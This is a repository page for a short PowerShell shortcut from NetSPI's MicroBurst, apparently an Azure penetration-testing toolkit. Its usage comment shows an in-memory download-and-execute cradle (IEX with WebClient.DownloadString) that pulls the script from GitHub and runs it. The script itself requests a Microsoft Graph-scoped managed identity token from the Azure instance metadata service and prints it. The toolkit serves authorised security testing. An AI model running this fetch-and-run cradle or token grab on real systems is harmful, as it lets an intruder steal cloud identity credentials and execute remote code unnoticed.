Files
NetSPI-MicroBurst/Misc/Shortcuts/VirtualMachineManagedIdentity-Windows-graph.ps1
2023-02-10 15:14:58 -08:00

2 lines
465 B
PowerShell

# Usage - returns a Microsoft Graph Scoped Managed Identity token for a Virtual Machine - IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Shortcuts/VirtualMachineManagedIdentity-graph.ps1")
(Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/' -Method GET -Headers @{Metadata="true"} -UseBasicParsing).Content